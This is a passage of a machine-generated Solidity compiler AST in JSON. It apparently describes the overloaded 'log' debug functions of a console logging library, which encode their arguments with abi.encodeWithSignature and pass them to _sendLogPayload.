pure"}},"id":30869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61300:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30870,"nodeType":"ExpressionStatement","src":"61300:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61212:3:15","parameters":{"id":30858,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30851,"mutability":"mutable","name":"p0","nameLocation":"61224:2:15","nodeType":"VariableDeclaration","scope":30872,"src":"61216:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30850,"name":"address","nodeType":"ElementaryTypeName","src":"61216:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30853,"mutability":"mutable","name":"p1","nameLocation":"61242:2:15","nodeType":"VariableDeclaration","scope":30872,"src":"61228:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30852,"name":"string","nodeType":"ElementaryTypeName","src":"61228:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30855,"mutability":"mutable","name":"p2","nameLocation":"61260:2:15","nodeType":"VariableDeclaration","scope":30872,"src":"61246:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30854,"name":"string","nodeType":"ElementaryTypeName","src":"61246:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30857,"mutability":"mutable","name":"p3","nameLocation":"61272:2:15","nodeType":"VariableDeclaration","scope":30872,"src":"61264:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30856,"name":"uint256","nodeType":"ElementaryTypeName","src":"61264:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"61215:60:15"},"returnParameters":{"id":30859,"nodeType":"ParameterList","parameters":[],"src":"61290:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30895,"nodeType":"FunctionDefinition","src":"61407:203:15","nodes":[],"body":{"id":30894,"nodeType":"Block","src":"61500:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c737472696e6729","id":30886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61550:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d02c50b371ad9a1f5c638dc99b5e9b545011f148f0be5233c530a4b2a12665c","typeString":"literal_string \"log(address,string,string,string)\""},"value":"log(address,string,string,string)"},{"id":30887,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30874,"src":"61587:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30888,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30876,"src":"61591:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30889,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30878,"src":"61595:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30890,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30880,"src":"61599:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d02c50b371ad9a1f5c638dc99b5e9b545011f148f0be5233c530a4b2a12665c","typeString":"literal_string \"log(address,string,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30884,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61526:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30885,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61530:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61526:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61526:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30883,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"61510:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30892,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61510:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30893,"nodeType":"ExpressionStatement","src":"61510:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61416:3:15","parameters":{"id":30881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30874,"mutability":"mutable","name":"p0","nameLocation":"61428:2:15","nodeType":"VariableDeclaration","scope":30895,"src":"61420:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30873,"name":"address","nodeType":"ElementaryTypeName","src":"61420:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30876,"mutability":"mutable","name":"p1","nameLocation":"61446:2:15","nodeType":"VariableDeclaration","scope":30895,"src":"61432:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30875,"name":"string","nodeType":"ElementaryTypeName","src":"61432:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30878,"mutability":"mutable","name":"p2","nameLocation":"61464:2:15","nodeType":"VariableDeclaration","scope":30895,"src":"61450:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30877,"name":"string","nodeType":"ElementaryTypeName","src":"61450:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30880,"mutability":"mutable","name":"p3","nameLocation":"61482:2:15","nodeType":"VariableDeclaration","scope":30895,"src":"61468:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30879,"name":"string","nodeType":"ElementaryTypeName","src":"61468:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"61419:66:15"},"returnParameters":{"id":30882,"nodeType":"ParameterList","parameters":[],"src":"61500:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30918,"nodeType":"FunctionDefinition","src":"61616:192:15","nodes":[],"body":{"id":30917,"nodeType":"Block","src":"61700:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c626f6f6c29","id":30909,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61750:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_35a5071fa9f4610e50772083182f21e949e7a02301a3936e315dd1c4fc39a9ed","typeString":"literal_string \"log(address,string,string,bool)\""},"value":"log(address,string,string,bool)"},{"id":30910,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30897,"src":"61785:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30911,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30899,"src":"61789:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30912,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30901,"src":"61793:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30913,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30903,"src":"61797:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_35a5071fa9f4610e50772083182f21e949e7a02301a3936e315dd1c4fc39a9ed","typeString":"literal_string \"log(address,string,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30907,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61726:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30908,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61730:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61726:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61726:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30906,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"61710:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61710:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30916,"nodeType":"ExpressionStatement","src":"61710:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61625:3:15","parameters":{"id":30904,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30897,"mutability":"mutable","name":"p0","nameLocation":"61637:2:15","nodeType":"VariableDeclaration","scope":30918,"src":"61629:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30896,"name":"address","nodeType":"ElementaryTypeName","src":"61629:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30899,"mutability":"mutable","name":"p1","nameLocation":"61655:2:15","nodeType":"VariableDeclaration","scope":30918,"src":"61641:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30898,"name":"string","nodeType":"ElementaryTypeName","src":"61641:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30901,"mutability":"mutable","name":"p2","nameLocation":"61673:2:15","nodeType":"VariableDeclaration","scope":30918,"src":"61659:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30900,"name":"string","nodeType":"ElementaryTypeName","src":"61659:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30903,"mutability":"mutable","name":"p3","nameLocation":"61682:2:15","nodeType":"VariableDeclaration","scope":30918,"src":"61677:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30902,"name":"bool","nodeType":"ElementaryTypeName","src":"61677:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"61628:57:15"},"returnParameters":{"id":30905,"nodeType":"ParameterList","parameters":[],"src":"61700:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30941,"nodeType":"FunctionDefinition","src":"61814:198:15","nodes":[],"body":{"id":30940,"nodeType":"Block","src":"61901:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c6164647265737329","id":30932,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61951:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a04e2f87a739673cc9223810c24b00b35c6b2c9f3ef123cc82866752e1fa816f","typeString":"literal_string \"log(address,string,string,address)\""},"value":"log(address,string,string,address)"},{"id":30933,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30920,"src":"61989:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30934,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30922,"src":"61993:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30935,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30924,"src":"61997:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30936,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30926,"src":"62001:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a04e2f87a739673cc9223810c24b00b35c6b2c9f3ef123cc82866752e1fa816f","typeString":"literal_string \"log(address,string,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30930,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61927:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30931,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61931:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61927:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61927:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30929,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"61911:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61911:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30939,"nodeType":"ExpressionStatement","src":"61911:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61823:3:15","parameters":{"id":30927,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30920,"mutability":"mutable","name":"p0","nameLocation":"61835:2:15","nodeType":"VariableDeclaration","scope":30941,"src":"61827:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30919,"name":"address","nodeType":"ElementaryTypeName","src":"61827:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30922,"mutability":"mutable","name":"p1","nameLocation":"61853:2:15","nodeType":"VariableDeclaration","scope":30941,"src":"61839:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30921,"name":"string","nodeType":"ElementaryTypeName","src":"61839:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30924,"mutability":"mutable","name":"p2","nameLocation":"61871:2:15","nodeType":"VariableDeclaration","scope":30941,"src":"61857:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30923,"name":"string","nodeType":"ElementaryTypeName","src":"61857:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30926,"mutability":"mutable","name":"p3","nameLocation":"61883:2:15","nodeType":"VariableDeclaration","scope":30941,"src":"61875:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30925,"name":"address","nodeType":"ElementaryTypeName","src":"61875:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"61826:60:15"},"returnParameters":{"id":30928,"nodeType":"ParameterList","parameters":[],"src":"61901:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30964,"nodeType":"FunctionDefinition","src":"62018:187:15","nodes":[],"body":{"id":30963,"nodeType":"Block","src":"62096:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c75696e7432353629","id":30955,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62146:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_515e38b61b40d622a4c0448953be005b3991f6a70155c59b5dca42a264aa0345","typeString":"literal_string \"log(address,string,bool,uint256)\""},"value":"log(address,string,bool,uint256)"},{"id":30956,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30943,"src":"62182:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30957,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30945,"src":"62186:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30958,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30947,"src":"62190:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30959,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30949,"src":"62194:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_515e38b61b40d622a4c0448953be005b3991f6a70155c59b5dca42a264aa0345","typeString":"literal_string \"log(address,string,bool,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30953,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62122:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30954,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62126:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62122:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62122:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30952,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"62106:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62106:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30962,"nodeType":"ExpressionStatement","src":"62106:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62027:3:15","parameters":{"id":30950,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30943,"mutability":"mutable","name":"p0","nameLocation":"62039:2:15","nodeType":"VariableDeclaration","scope":30964,"src":"62031:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30942,"name":"address","nodeType":"ElementaryTypeName","src":"62031:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30945,"mutability":"mutable","name":"p1","nameLocation":"62057:2:15","nodeType":"VariableDeclaration","scope":30964,"src":"62043:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30944,"name":"string","nodeType":"ElementaryTypeName","src":"62043:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30947,"mutability":"mutable","name":"p2","nameLocation":"62066:2:15","nodeType":"VariableDeclaration","scope":30964,"src":"62061:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30946,"name":"bool","nodeType":"ElementaryTypeName","src":"62061:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30949,"mutability":"mutable","name":"p3","nameLocation":"62078:2:15","nodeType":"VariableDeclaration","scope":30964,"src":"62070:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30948,"name":"uint256","nodeType":"ElementaryTypeName","src":"62070:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"62030:51:15"},"returnParameters":{"id":30951,"nodeType":"ParameterList","parameters":[],"src":"62096:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30987,"nodeType":"FunctionDefinition","src":"62211:192:15","nodes":[],"body":{"id":30986,"nodeType":"Block","src":"62295:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c2c737472696e6729","id":30978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"62345:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_bc0b61fe9497b47eb6a51a5a6a4bf26b32ddcbc9407ccae8cc7de64b3e3d84cc","typeString":"literal_string \"log(address,string,bool,string)\""},"value":"log(address,string,bool,string)"},{"id":30979,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30966,"src":"62380:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30980,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30968,"src":"62384:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30981,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30970,"src":"62388:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30982,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30972,"src":"62392:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bc0b61fe9497b47eb6a51a5a6a4bf26b32ddcbc9407ccae8cc7de64b3e3d84cc","typeString":"literal_string \"log(address,string,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30976,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62321:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30977,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62325:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62321:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62321:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30975,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"62305:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62305:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30985,"nodeType":"ExpressionStatement","src":"62305:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62220:3:15","parameters":{"id":30973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30966,"mutability":"mutable","name":"p0","nameLocation":"62232:2:15","nodeType":"VariableDeclaration","scope":30987,"src":"62224:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30965,"name":"address","nodeType":"ElementaryTypeName","src":"62224:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30968,"mutability":"mutable","name":"p1","nameLocation":"62250:2:15","nodeType":"VariableDeclaration","scope":30987,"src":"62236:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30967,"name":"string","nodeType":"ElementaryTypeName","src":"62236:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30970,"mutability":"mutable","name":"p2","nameLocation":"62259:2:15","nodeType":"VariableDeclaration","scope":30987,"src":"62254:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30969,"name":"bool","nodeType":"ElementaryTypeName","src":"62254:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30972,"mutability":"mutable","name":"p3","nameLocation":"62277:2:15","nodeType":"VariableDeclaration","scope":30987,"src":"62263:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30971,"name":"string","nodeType":"ElementaryTypeName","src":"62263:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"62223:57:15"},"returnParameters":{"id":30974,"nodeType":"ParameterList","parameters":[],"src":"62295:0:15"},"scope":31862,"stateMutability":"p